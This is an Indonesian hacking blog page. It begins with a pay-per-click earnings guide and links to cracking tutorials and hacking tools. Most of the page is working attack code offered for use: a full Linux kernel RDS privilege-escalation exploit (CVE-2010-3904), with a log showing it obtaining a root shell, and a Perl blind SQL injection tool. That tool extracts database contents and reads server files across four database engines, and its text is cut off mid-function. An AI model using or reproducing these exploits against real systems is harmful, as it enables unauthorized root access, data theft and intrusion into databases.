Namun demikian perlu diketahui bahwa iklan gambar memiliki godaan yang cukup tinggi untuk di klik daripada iklan text. Pertimbangkan dengan cermat mengenai hal ini karena pada awal saya bergabung dengan kliksaya karena merasa iklan gambar memiliki hasil yang lebih tinggi daripada iklan text.

Langkah #4
Kunci rahasia mendapat uang dari kliksaya


Ada satu buah kunci rahasia yang tidak dijelaskan di situs/blog manapun tentang kliksaya. Kunci rahasia yang saya maksudkan adalah rasa sabar. Seperti yang saya jelaskan diatas sesuai urutan. Bila anda ingin mendapatkan uang dari Internet melalui layanan kliksaya pertama kali yang harus anda lakukan adalah membuat situs/blog lalu tingkatkan trafik situs/blog tersebut.

Dengan trafik yang sangat ramai, godaan untuk melakukan fraud klik sangatlah minim. Dengan begini anda telah mematuhi etika bisnis PPC yang memang harus bersabar. Kalau memang iklan yang muncul hanya “pasang iklan disini” anggaplah anda sedang mengiklankan kliksaya. Bila ada advertiser yang masuk ke kliksaya melalui situs/blog anda maka itu merupakan nilai lebih dari kliksaya pada situs/blog anda.

Setelah bersabar dalam mendapat trafik, sabarlah juga mendapatkan klik iklan. Komisi akan datang dengan sendirinya tanpa harus melakukan fraud klik. Ingatlah Allah bersama orang-orang yang sabar.

Kaya saya ini lho sudah menulis hampir 10 halaman A4 untuk mendukung kontes menulis pandunan kliksaya.com. Ok deh untung ini adalah kontes final jadi saya masih bisa nulis begini panjang.

Selamat mencoba ya kawan-kawan, saya sendiri telah mendapat banyak dari kliksaya, o iya sebagai perbandingan saya mulai nge-blog dari Juli 2008 dan baru mendapatkan hasil di bulan Januari 2009.


Peserta Kontes Menulis Panduan KlikSaya.Com Periode Final

Nama Peserta : Denny Restria
Email : guardianmask @ yahoo .com
 
 
Baca Selengkapnya... Panduan Lengkap Mendapatkan Uang dari PPC Kliksaya.com

Google Hack Application


Simple google hack aplication
Download
Baca Selengkapnya... Google Hack Application

Hackerfox => mozila firefox for hacker


Portable Mozila Firefox for hacker
Download
Baca Selengkapnya... Hackerfox => mozila firefox for hacker

Tutorial Reverse Enginering

Cuman sekedar share ajah ^_^
Tutorial ini di bagi menjadi 40 bagian dimana pada setiap bagian akan di jelaskan secara gamblang ^_^ step by step cara melakukan cracking dengan menggunakan Olly dbg dengan berbagai contoh kasus yang berbeda ^_^

Video 1
Video 2
Video 3
Video 4
Video 5
Video 6
Video 7
Video 8
Video 9
Video 10
Video 11
Video 12
Video 13
Video 14
Video 15
Video 16
Video 17
Video 18
Video 19
Video 20
Video 21
Video 22
Video 23
Video 24
Video 25
Video 26
Video 27
Video 28
Video 29
Video 30
Video 31
Video 32
Video 33
Video 34
Video 35
Video 36
Video 37
Video 38
Video 39
Video 40


Selamat Mencoba ^_^
Baca Selengkapnya... Tutorial Reverse Enginering

From Text to Speech (Voice) voice.pl

 
#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTML::Form;
use Getopt::Std;

print "Text-to-Speech Nabber by sToRm \n";

my $ua = LWP::UserAgent->new();
my %opts;

getopts('EVe:i:o:p:r:v:', \%opts);

if ( defined $opts{'E'} ) {

    print "Available effects:\n";
   
    my $response = $ua->get('http://cepstral.com/demos/');
   
    die 'Error: ' . $response->status_line() . "\n" unless $response->is_success();
   
    for ( split(/\n/, $response->content()) ) {
   
        print "  $1.sfx\n" if ( $_ =~ // );
       
    }
   
    exit(0);
   
}

if ( defined $opts{'V'} ) {

    print "Available voices:\n";
   
    my $response = $ua->get('http://cepstral.com/demos/');
   
    die 'Error: ' . $response->status_line() . "\n" unless $response->is_success();
   
    for ( split(/\n/, $response->content()) ) {
   
        print "  $1\n" if ( $_ =~ /if \(voice=='(.+)'\) {/ );
       
    }
   
    exit(0);
   
}

if ( defined $opts{'i'} and defined $opts{'o'} ) {

    print "Sending initial request.\n";
   
    my $response = $ua->get('http://demos.cepstral.com/cepstral/demos/demo.cgi/cepstral.wav');
   
    die 'Error: ' . $response->status_line() . "\n" unless $response->is_success();
   
    my $form = HTML::Form->parse($response);
   
    print "Success - Applying settings.\n";
   
    $form->value('content', $opts{'i'});
   
    defined $opts{'e'} ? $form->value('effect', $opts{'e'})
                       : 0;
    defined $opts{'p'} ? $form->value('pitch', $opts{'p'})
                       : 0;
    defined $opts{'r'} ? $form->value('rate', $opts{'r'})
                       : 0;
    defined $opts{'v'} ? $form->value('voice', $opts{'v'})
                       : 0;
   
    print "Fetching audio file.\n";
   
    $ua->request($form->click(), $opts{'o'});
   
    exit(0);
   
}

print "Usage: perl $0 -i \"Your phrase here\" -o outfile.wav [-EVeprv]\n";
print "    -E  List available effects\n";
print "    -V  List available voices\n";
print "    -e  Select a voice effect (default: None)\n";
print "    -i  Define the input string\n";
print "    -o  Define the outfile\n";
print "    -p  Change the pitch of speech (1-76, default: 1)\n";
print "    -r  Change the rate of speech (1-3400, default: 170)\n";
print "    -v  Select a voice to use (default: David)\n";
Baca Selengkapnya... From Text to Speech (Voice) voice.pl

29 January 2011

Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit

Code :
/*
 * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
 * CVE-2010-3904
 * by Dan Rosenberg
 *
 * Copyright 2010 Virtual Security Research, LLC
 *
 * The handling functions for sending and receiving RDS messages
 * use unchecked __copy_*_user_inatomic functions without any
 * access checks on user-provided pointers.  As a result, by
 * passing a kernel address as an iovec base address in recvmsg-style
 * calls, a local user can overwrite arbitrary kernel memory, which
 * can easily be used to escalate privileges to root.  Alternatively,
 * an arbitrary kernel read can be performed via sendmsg calls.
 *
 * This exploit is simple - it resolves a few kernel symbols,
 * and overwrites a function pointer (rds_ioctl) to point
 * to the payload.  After triggering the payload, the original
 * value is restored.  Hard-coding the offset of this function
 * pointer is a bit inelegant, but I wanted to keep it simple and
 * architecture-independent (i.e. no inline assembly).
 *
 * The vulnerability is yet another example of why you shouldn't
 * allow loading of random packet families unless you actually
 * need them.
 *
 * Greets to spender, kees, taviso, hawkes, team lollerskaters,
 * joberheide, bla, sts, and VSR
 *
 */


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define RECVPORT 5555
#define SENDPORT 6666

int prep_sock(int port)
{
   
    int s, ret;
    struct sockaddr_in addr;

    s = socket(PF_RDS, SOCK_SEQPACKET, 0);

    if(s < 0) {
        printf("[*] Could not open socket.\n");
        exit(-1);
    }
   
    memset(&addr, 0, sizeof(addr));

    addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);

    ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));

    if(ret < 0) {
        printf("[*] Could not bind socket.\n");
        exit(-1);
    }

    return s;

}

void get_message(unsigned long address, int sock)
{

    recvfrom(sock, (void *)address, sizeof(void *), 0,
         NULL, NULL);

}

void send_message(unsigned long value, int sock)
{
   
    int size, ret;
    struct sockaddr_in recvaddr;
    struct msghdr msg;
    struct iovec iov;
    unsigned long buf;
   
    memset(&recvaddr, 0, sizeof(recvaddr));

    size = sizeof(recvaddr);

    recvaddr.sin_port = htons(RECVPORT);
    recvaddr.sin_family = AF_INET;
    recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    memset(&msg, 0, sizeof(msg));
   
    msg.msg_name = &recvaddr;
    msg.msg_namelen = sizeof(recvaddr);
    msg.msg_iovlen = 1;
   
    buf = value;

    iov.iov_len = sizeof(buf);
    iov.iov_base = &buf;

    msg.msg_iov = &iov;

    ret = sendmsg(sock, &msg, 0);
    if(ret < 0) {
        printf("[*] Something went wrong sending.\n");
        exit(-1);
    }
}

void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{

    if(!fork()) {
            sleep(1);
            send_message(value, sendsock);
            exit(1);
    }
    else {
        get_message(addr, recvsock);
        wait(NULL);
    }

}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

    commit_creds(prepare_kernel_cred(0));
    return -1;   

}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    struct utsname ver;
    int ret;
    int rep = 0;
    int oldstyle = 0;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL)
            goto fallback;
        oldstyle = 1;
    }

repeat:
    ret = 0;
    while(ret != EOF) {
        if (!oldstyle)
            ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        else {
            ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
            if (ret == 2) {
                char *p;
                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                    continue;
                p = strrchr(sname, '_');
                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                    p = p - 4;
                    while (p > (char *)sname && *(p - 1) == '_')
                        p--;
                    *p = '\0';
                }
            }
        }
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
            fclose(f);
            return addr;
        }
    }

    fclose(f);
    if (rep)
        return 0;
fallback:
    /* didn't find the symbol, let's retry with the System.map
       dedicated to the pointlessness of Russell Coker's SELinux
       test machine (why does he keep upgrading the kernel if
       "all necessary security can be provided by SE Linux"?)
    */
    uname(&ver);
    if (strncmp(ver.release, "2.6", 3))
        oldstyle = 1;
    sprintf(sname, "/boot/System.map-%s", ver.release);
    f = fopen(sname, "r");
    if (f == NULL)
        return 0;
    rep = 1;
    goto repeat;
}

int main(int argc, char * argv[])
{
    unsigned long sock_ops, rds_ioctl, target;
    int sendsock, recvsock;
    struct utsname ver;

    printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
    printf("[*] by Dan Rosenberg\n");

    uname(&ver);

    if(strncmp(ver.release, "2.6.3", 5)) {
        printf("[*] Your kernel is not vulnerable.\n");
        return -1;
    }   
   
    sendsock = prep_sock(SENDPORT);
    recvsock = prep_sock(RECVPORT);

    /* Resolve addresses of relevant symbols */
    printf("[*] Resolving kernel addresses...\n");
    sock_ops = get_kernel_sym("rds_proto_ops");
    rds_ioctl = get_kernel_sym("rds_ioctl");
    commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

    if(!sock_ops || !rds_ioctl || !commit_creds || !prepare_kernel_cred) {
        printf("[*] Failed to resolve kernel symbols.\n");
        return -1;
    }

    /* Calculate target */
    target = sock_ops + 9 * sizeof(void *);

    /* Overwrite rds_ioctl function pointer */
    printf("[*] Overwriting function pointer...\n");
    write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);

    /* Trigger the payload */
    printf("[*] Triggering payload...\n");
    ioctl(sendsock, 0, NULL);

    /* Restore the rds_ioctl function pointer */
    printf("[*] Restoring function pointer...\n");
    write_to_mem(target, rds_ioctl, sendsock, recvsock);

    if(getuid()) {
        printf("[*] Exploit failed to get root.\n");
        return -1;
    }

    printf("[*] Got root!\n");
    execl("/bin/sh", "sh", NULL);

}
Tested :
d4wfl1n@deadc0de-team:~/Documents$ uname -a
Linux deadc0de-team 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009 i686 GNU/Linux
d4wfl1n@deadc0de-team:~/Documents$ gcc linux-rds-exploit.c -o linux-rds-exploit
d4wfl1n@deadc0de-team:~/Documents$ chmod +x linux-rds-exploit
d4wfl1n@deadc0de-team:~/Documents$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xf8491980
 [+] Resolved rds_ioctl to 0xf8479090
 [+] Resolved commit_creds to 0xc01626b0
 [+] Resolved prepare_kernel_cred to 0xc01628b0
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
# id
uid=0(root) gid=0(root)
# pwd
/home/d4wfl1n/Documents
# uname -a
Linux deadc0de-team 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009 i686 GNU/Linux
#
Baca Selengkapnya... Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit

27 January 2011

Deadc0de Blind SQL Injection <= to my honey JID :p

I call this hacker_is_death.pl lol hahahahha
this is a simple c0de to try blind SQL Injection and Test vulnerable on the web target :)

dedicated to "Syarifah Sarah Soraya Anajani Haniah Alkaaff" a.k.a "DJ Cleo"
keep play the music honey :)

#!/usr/bin/env perl
# Blind SQL Injection
# Author : D4wFl1N
# thx to : r3d3 deadc0de, black deadc0de, mozart deadc0de, jimmy deadc0de a.k.a jimmy romanticdevil
# and y0u
# TODO:
# [ ] Rip more c0de from others.
#  ______      _____ _             ___          
# |  ____|    / ____| |           / _ \         
# | |__ _   _| |    | | __  _   _| | | |_   _   
# |  __| | | | |    | |/ / | | | | | | | | | |  
# | |  | |_| | |____|   <  | |_| | |_| | |_| |  
# |_|   \__,_|\_____|_|\_\  \__, |\___/ \__,_|  
#                           __/ |              
#                          |___/                
#

use LWP::UserAgent;
use Getopt::Long;
use IO::Handle;
use strict;
use threads;
use threads::shared;
use Time::HiRes qw( usleep);

$| = 1;


###############################################################################
my $default_debug = 0;
my $default_length = 32;
my $default_method = "GET";
my $default_time = 0;
my $version = "1.0";
my $default_useragent = "deadc0de $version";
my $default_sql = "(select \@\@version)";
###############################################################################


$| = 1;

my ($args, $solution);
my (%vars, @varsb);
my ($lastvar, $lastval);
my ($scheme, $authority, $path, $query, $fragment);
my ($head, $tail, $high);
my $hits = 0;
my $amatch = 0;
my ($ua,$req);
my $furl;

###############################################################################
# Define GetOpt:
my ($url, $type, $database, $sql, $time, $rtime, $match, $uagent, $debug);
my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);
my ($start, $length, $method, $cookie, $blind);
my ($help, $get);
my ($ascii, $binary);

my $options = GetOptions (
  'help!'            => \$help,
  'url=s'            => \$url,
  'database=s'         => \$database,
  'type=s'             => \$type,   
  'get=s'            => \$get,
  'sql=s'            => \$sql,
  'blind=s'          => \$blind,
  'match=s'          => \$match,
  'start=s'          => \$start,
  'length=s'         => \$length,
  'method=s'         => \$method,
  'uagent=s'         => \$uagent,
  'ruagent=s'         => \$ruagent,
  'cookie=s'         => \$cookie,
  'proxy=s'          => \$proxy,
  'proxy_user=s'     => \$proxy_user,
  'proxy_pass=s'     => \$proxy_pass,
  'rproxy=s'         => \$rproxy,
  'debug!'           => \$debug,
  'binary!'           =>\$binary,
  'ascii!'           => \$ascii,
  'rtime=s'          => \$rtime,
  'time=i'           => \$time
  );

&help unless ($url);
&help if $help eq 1;

#########################################################################
# Default Options.
$uagent         ||= $default_useragent;
$debug          ||= $default_debug;
$length         ||= $default_length;
$solution       ||= $start;
$method         ||= $default_method;
$sql            ||= $default_sql;
$time           ||= $default_time;


&createlwp();
&parseurl();

if ( ! defined($blind)) {
        $lastvar = $varsb[$#varsb];
        $lastval = $vars{$lastvar};
} else {
        $lastvar = $blind;
        $lastval = $vars{$blind};
}

if (! defined($type)) {
    $type=0;
}

if (! defined($database)) {
    $database=0
}

if (defined($cookie)) { &cookie() }
if (!$match) {
    print "\nTrying to find a match string...\n" if $debug == 1;
    $amatch = "1";
    $match = fmatch("$url"," AND 1=");
    if ($match eq "no vulnerable")
        {
        print "\nNo vuln: 2nd..\n" if $debug ==1;
        $match = fmatch("$url"," AND 1='");
        #$head = "\"";
        #$tail = " AND 1=\"1";
    };
    if ($match eq "no vulnerable") {
        print "Not vulnerable \n\n If you know its vulnerable supply the '-match' string\n";
        exit 0;
    }
}
&banner();
&httpintro();



( ! $get) ? sqlget() : fileget();

my @byte = ();
my $wait_me;

sub getbyte {
   my $sql = $_[0];
   my $bit="";
   my @thread_count = ();
   my $c = 8;
   my $i = 0;
   $high = 128 unless $ascii;#) ? 128 : { 64; $byte[0] = 0; };
   $wait_me = 0;

   share($wait_me);
   share (@byte);

   if ($ascii) {
     $byte[0] = 0;
     $high = 64;
   }
   for ($bit=1;$bit<=$high;$bit*=2) {
# launch thread ->
    $thread_count[$i] = threads->create(\&launch_thread ,$sql, $bit, $c);
    $thread_count[$i]->detach;
    $c--;
   }

   while ($wait_me <= 7) {
    usleep(50);
    #sleep(1);# if !$dontsleep;
   }

   my $str = join("",@byte);
   #print "\nSTR: $str\n";
   return pack("B*","$str");

}

sub launch_thread {
    my ($sql, $bit, $c) = @_;
    my $val;   
    my $and="%26";
     if (lc($method) eq "post"){
     $and="&";
     }
     ###------------MS-SQL BLOCK STARTS HERE---------------------###

if ($database==0) {


#print "I am here";
        if ($url =~ /'$/) {
      ##   $val = "$head and (ASCII($sql) $and $bit)=0-- $tail";
 if ($type==1)
                      {
                         $val = "$head and (select case when((ASCII($sql) $and $bit) =0) then 1 else 1/0 end )=1-- $tail";
                      }
              else {    if($type==0)
                      {      
              $val = "$head and (ASCII($sql) $and $bit)=0-- $tail";
                      }
                   } 

    }
                    else{
                       if ($type==1)
                      {
                         $val = "$head and (select case when ((ASCII($sql) $and $bit) =0)then 1 else 1/0 end)=1 $tail";
                      }
              else {    if($type==0)
                      {      
              $val = "$head and (ASCII($sql) $and $bit)=0 $tail";
                      }
                   } 
              
                  }


                }


     ###------------MS-SQL BLOCK STOPS HERE---------------------###
     ###----------POSTGRES BLOCK STARTS HERE---------------------###

if ($database==2) {



        if ($url =~ /'$/) {
   
 if ($type==1)
   
                      {
                         $val = "$head and (case when ((ASCII($sql) $and $bit) =0) then 1 else (1 * (select 1 from information_schema.tables)) end)=1-- $tail";
                      }
              else {    if($type==0)
                      {      
              $val = "$head and (ASCII($sql) $and $bit)=0-- $tail";
                      }
                   } 

    }
                    else{
                       if ($type==1)
                      {
                         $val = "$head and (case when ((ASCII($sql) $and $bit) =0) then 1 else (1 * (select 1 from information_schema.tables)) end)=1 $tail";
                      }
              else {    if($type==0)
                      {      
              $val = "$head and (ASCII($sql) $and $bit)=0 $tail";
                      }
                   } 
              
                  }


                }
###----------POSTGRES BLOCK STOPS HERE---------------------###
###----------ORACLE BLOCK STARTS---------------------------####
     if ($database==3) {
   
if ($url =~ /'$/) {
          if ($type==1)
   
                      {
                         $val = "$head and (select case when BITAND((ASCII($sql)), $bit)=0 then  (select 1 from dual) else 1/0  end from dual)=1-- $tail";
                      }
              else {    if($type==0)
                      {      
                         $val = "$head and BITAND((ASCII($sql)), $bit)=0-- $tail";                      }
                   } 

    }
                    else{
                       if ($type==1)
                      {
                         $val = "$head and (select case when BITAND((ASCII($sql)), $bit)=0 then  (select 1 from dual) else 1/0  end from dual)=1 $tail";
                      }
              else {    if($type==0)
                      {      
               $val = "$head and (select case when BITAND((ASCII($sql)), $bit)=0 then  (select 1 from dual) else 1/0  end from dual)=1 $tail";
                      }
                   } 
              
                  }
                        }


###----------ORACLE BLOCK STOPS HERE---------------------------####
###------------MY-SQL BLOCK STARTS HERE---------------------###

   
    if ($database==1) {
   
   
    if ($url =~ /'$/)        {
          if ($type==1)
                      {
                         $val = "$head and (select case when (ord($sql) $and $bit=0 ) then 1 else 1*(select table_name from information_schema.tables)end)=1 $tail";
                      }
              else {    if($type==0)
                      {      
              $val = "$head and (ord($sql) $and $bit)=0 $tail";
                      }
                   } 
# or one may also use #
                            }
             
                  else
                   
                {
                      if ($type==1)
                      {
                         $val = "$head and (select case when (ord($sql) $and $bit=0 ) then 1 else 1*(select table_name from information_schema.tables)end)=1 $tail";
                      }
              else {if($type==0)
                      {      
              $val = "$head and (ord($sql) $and $bit)=0 $tail";
                      }
                    } 
               

                }
###-----------MySQL BLOCK ENDS HERE-------------------###




 }
                  #print "VAL[$c] $val\n";
        if (lc($method) eq "post") {
                $vars{$lastvar} = $lastval . $val;

        }
        $furl = $url;
        $furl =~ s/($lastvar=$lastval)/$1$val/;
        &createlwp if $rproxy || $ruagent;
        my $html=fetch("$furl");
        $hits++;
        foreach (split(/\n/,$html)) {
        lock @byte;
                if (/\Q$match\E/) {
                    $byte[$c]=0;
                    last;
                 } else { $byte[$c] = 1; }
        }
    lock $wait_me;
    threads->yield();
    $wait_me++;
}

sub sqlget                                    {


    ##--ms-sqlblock--##




if ($database==0 ) {

my ($fsize,$i,$s);
        $s = "SUBSTRING(cast(len(len(($sql)))as varchar),1,1)";
    my $lng .= getbyte($s);
    for ($i=1;$i<=$lng;$i++) {
        $s = "SUBSTRING(cast(len(($sql))as varchar),$i,1)";
        $fsize.=getbyte($s);
    }

    #print "FSIZE: $fsize\n";
    $length = $fsize. "bytes";
    &bsqlintro();

    my $rsize = $start + 1;
    for ($i=$rsize;$i<=$fsize+1;$i++) {
        $s = "substring(cast(($sql)as varchar),$i,1)";
        #print "S: $s\n";
        my $byte = getbyte($s);
        $solution .= $byte;
        print $byte;
     }


}

    ##--ms-sql block-finish--##
    ##---oracle block starts--##
if ($database==3) {

    my ($fsize,$i,$s);
        $s = "SUBSTR(cast(length(length(($sql)))as varchar(100)),1,1)";
    my $lng .= getbyte($s);
    for ($i=1;$i<=$lng;$i++) {
        $s = "SUBSTR(cast(length(($sql))as varchar(100)),$i,1)";
        $fsize.=getbyte($s);
    }

    print "FSIZE: $fsize\n";
    $length = $fsize. "bytes";
    &bsqlintro();

    my $rsize = $start + 1;
    for ($i=$rsize;$i<=$fsize+1;$i++) {
        $s = "substr(cast(($sql)as varchar(100)),$i,1)";
        #print "S: $s\n";
        my $byte = getbyte($s);
        $solution .= $byte;
        print $byte;
     }
}


    ##---oracle block finish--##
##--postgres block----##
if ($database==2) {
my ($fsize,$i,$s);
   
        $s = "SUBSTR(cast(length(length(($sql)))as varchar),1,1)";
    my $lng .= getbyte($s);
    for ($i=1;$i<=$lng;$i++) {
        $s = "SUBSTR(cast(length(($sql))as varchar),$i,1)";
        $fsize.=getbyte($s);
    }

    print "FSIZE: $fsize\n";
    $length = $fsize. "bytes";
    &bsqlintro();

    my $rsize = $start + 1;
    for ($i=$rsize;$i<=$fsize+1;$i++) {
       
        $s = "substr(cast(($sql)as varchar),$i,1)";
        #print "S: $s\n";
        my $byte = getbyte($s);
        $solution .= $byte;
        print $byte;
     }


}

    ##--postgres block-finish--##
    ##-mysql block--##
    if ($database==1) {
        my ($fsize,$i,$s);
        $s = "mid(length(length(($sql))),1,1)";
    my $lng .= getbyte($s);
    for ($i=1;$i<=$lng;$i++) {
        $s = "mid(length(($sql)),$i,1)";
        $fsize.=getbyte($s);
    }
   
    #print "FSIZE: $fsize\n";
    $length = $fsize. "bytes";
    &bsqlintro();

    my $rsize = $start + 1;
    for ($i=$rsize;$i<=$fsize+1;$i++) {
        $s = "mid(($sql),$i,1)";
        #print "S: $s\n";
        my $byte = getbyte($s);
        $solution .= $byte;
        print $byte;
     }
}

##-mysql-block-##
                                        }

#---------------end-------------------#
sub fileget {
    my ($lget,$fstr);
    if ($get =~ m/.*\/(.*)/) {
        $lget = $1; }
        $fstr = "0x".unpack("H*","$get");
    if ($get =~ m/.*\\(.*)/) {
        $lget = $1;
        $fstr = "\"$get\"";
    }

    my $rsize = $start + 1;
    if (-e "$lget" && ! $start) {
        $rsize = -s "$lget";
        print "Error: file ./$lget exists.\n";
        print "You can erase or resume it with: -start $rsize\n";
        exit 1
    }
    my ($i,$fsize);
    $sql = "mid(length(length(load_file($fstr))),1,1)";
    my $lng .= getbyte($sql);
    for ($i=1;$i<=$lng;$i++) {
        my $find = 0;
        $sql = "mid(length(load_file($fstr)),$i,1)";
        $fsize.=getbyte($sql);
    }

    if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }
    $length = $fsize. "bytes";
    # starting ..
    $sql = "load_file($get)";

    &bsqlintro();
    # Get file
    #print "---> $lget";
    open FILE, ">>$lget";
    FILE->autoflush(1);
    print "\n--- BEGIN ---\n";
    my ($i,$b,$fcontent);
    $rsize = 1 if $rsize < 1;
    for ($i=$rsize;$i<=$fsize+1;$i++) {
        my $find = 0;
        my ($furl, $b_start, $b_end, $z);
        $sql = "mid(load_file($fstr),$i,1)";
        $fcontent=getbyte($sql);
        print $fcontent;
        print FILE "$fcontent";
     }
    print "\n--- END ---\n";
        close FILE;
    $solution = "success";
    $sql = "$get";
}



&result();



#########################################################################
sub httpintro {
    my ($strcookie, $strproxy, $struagent, $strtime, $i);
    print "--[ http options ]"; print "-"x62; print "\n";
    printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);
    if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }
    printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$struagent);
    printf ("%12s %-50s\n","path:", $path);
    foreach (keys %vars) {
        $i++;
        printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});
    }
    if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
    printf ("%12s %-50s\n","cookies:",$strcookie);
    if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
    if ($rproxy) { $strproxy = "rnd.file:$rproxy" }
    printf ("%12s %-50s\n","proxy_host:",$strproxy);
    if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
     # timing
    if (! $time && !$rtime) { $strtime="0sec (default)" }
    if ( $time == 0) { $strtime="0 sec (default)" }
    if ( $time == 1) { $strtime="15 secs" }
    if ( $time == 2) { $strtime="5 mins" }
    if ($rtime) { $strtime = "rnd.time:$rtime" }
    printf ("%12s %-50s\n","time:",$strtime);
    printf("\n\nFinding Length of SQL Query....\n");
}

sub bsqlintro {
    my ($strstart, $strblind, $strlen, $strmatch, $strsql);
    print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";
    if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }
    if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
    printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);
    printf ("%12s %-15s %11s %-20s\n","database:",$database,"type:",$type);
    if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
    if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
    printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);
    if ($amatch eq 1) { $strmatch = "auto match:(!!THIS MAY BE WRONG!!)" } else { $strmatch = "match:"; }
    #printf ("%12s %-60s\n","$strmatch",$match);
    print " $strmatch $match\n";
    print "-"x80; print "\n\n";
    printf "\n Getting Data...\n";
}

#########################################################################

sub createlwp {
    my $proxyc;
    &getproxy;
    &getuagent if $ruagent;
    LWP::Debug::level('+') if $debug gt 3;
    $ua = new LWP::UserAgent(
        cookie_jar=> { file => "$$.cookie" });
    $ua->agent("$uagent");
    if (defined($proxy_user) && defined($proxy_pass)) {
        my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
        $proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
        $proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
    } else { $proxyc = $proxy; }
   
    $ua->proxy(['http'] => $proxyc) if $proxy;
    undef $proxy if $rproxy;
    undef $uagent if $ruagent;
}   

sub cookie {
    # Cookies check
    if ($cookie || $cookie =~ /; /) {
        foreach my $c (split /;/, $cookie) {
            my ($a,$b) = split /=/, $c;
            if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
        }
    }
}

sub parseurl {
 ###############################################################################
 # Official Regexp to parse URI. Thank you somebody.
    ($scheme, $authority, $path, $query, $fragment) =
        $url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
    # Parse args of URI into %vars and @varsb.
    foreach my $varval (split /&/, $query) {
        my ($var, $val) = split /=/, $varval;
        $vars{$var} = $val;
        push(@varsb, $var);
    }
}


#########################################################################
# Show options at running:
sub banner {
print "\n Are you ready to r0ck ? \n";
print " \n O.K let's play the music DJ_Cle0 ^_^ \n";
}


#########################################################################
# Get differences in HTML
sub fmatch {
 my ($ok,$rtrn);
 my ($furla, $furlb,$quote) = ($_[0], $_[0],$_[1]);
 my ($html_a, $html_b);
 if (lc($method) eq "get") {
    $furla =~ s/($lastvar=$lastval)/$1 ${quote}1/;
    $furlb =~ s/($lastvar=$lastval)/$1 ${quote}0/;
     $html_a = fetch("$furla");
    $html_b = fetch("$furlb");
 } elsif (lc($method) eq "post") {
   $vars{$lastvar} = $lastval . " ${quote}1";
   $html_a = fetch("$furla");
   $vars{$lastvar} = $lastval . " ${quote}0";
   $html_b = fetch("$furla");
   $vars{$lastvar} = $lastval;
 }


 #print "$html_a";
 #print "$html_b";

 if ($html_a eq $html_b) {
  $rtrn = "no vulnerable";
  return $rtrn;
 }


 my @h_a = split(/\n/,$html_a);
 my @h_b = split(/\n/,$html_b);
 foreach my $a (@h_a) {
    $ok = 0;
    if ($a =~ /\w/) {
           foreach (@h_b) {
            if ($a eq $_) {$ok = 1; }
        }
    } else { $ok = 1; }
   $rtrn = $a;
   last if $ok ne 1;
 }
 return $rtrn;
}


#########################################################################
# Fetch HTML from WWW
sub fetch {
    #print "fetch: $_[0]\n";
    my $secs;
    if ($time == 0) { $secs = 0 }
    elsif ($time == 1) { $secs = 15 }
    elsif ($time == 2) { $secs = 300 }
    if ($rtime =~ /\d*-\d*/ && $time == 0) {
        my ($l,$p) = $rtime =~ m/(\d+-\d+)/;
        srand; $secs = int(rand($p-$l+1))+$l;
